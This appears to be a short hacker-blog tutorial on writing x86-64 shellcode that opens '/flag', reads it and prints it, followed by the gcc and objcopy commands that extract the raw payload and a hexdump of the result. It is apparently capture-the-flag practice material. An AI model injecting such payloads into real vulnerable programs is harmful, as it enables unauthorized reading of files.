[MENU] | |||||||||
[THOUGHTS] | [TECH RESOURCES] | [TRASH TALK] | |||||||
[DANK MEMES] | [FEATURED ARTISTS] | [W] |
Hello fellas! If you're wondering how to compile your payload and get raw shellcode in seconds, you can try this.
- .global _start
- _start:
- .intel_syntax noprefix
- push [rip + 0x28]
- push rsp
- pop rdi
-
- push 0
- pop rsi # SET O_RDONLY FILE OPEN MODE
- push 2
- pop rax # syscall open()
- syscall
-
- # read(int fd, void *buf, size_t count)
- push rax # rax has fd num
- pop rdi # rax onto rdi
- push rsp
- pop rsi
- push 150
- pop rdx # set bufferlen=150
- push 0
- pop rax # set rax = 0 syscall for read()
- syscall
-
- # write(int fd, void *buf, size_t count)
- push rsp
- pop rsi
- push 1 # syscal write()
- pop rax # set write() syscall
- push 1
- pop rdi # fd 0 TO STDOUT
- syscall
-
- # exit()
- push 60
- pop rax # syscall for exit()
- syscall
- flagstring:
- .string "\x2f\x66\x6c\x61\x67\x00"
- $ gcc -nostdlib -static shellcode.asm -o shellcode-elf
- $ objcopy --dump-section .text=shellcode-raw shellcode-elf
Congrats! You've just compiled your shellcode and copied raw payload to ./shellcode-raw file. Let's verify this.
- 00000000: ff34 252f 1040 0054 5f6a 005e 6a02 580f .4%/.@.T_j.^j.X.
- 00000010: 0550 5f54 5e68 9600 0000 5a6a 0058 0f05 .P_T^h....Zj.X..
- 00000020: 545e 6a01 586a 015f 0f05 6a3c 580f 052f T^j.Xj._..j<X../
- 00000030: 666c 6167 0000 flag..
Have a nice day!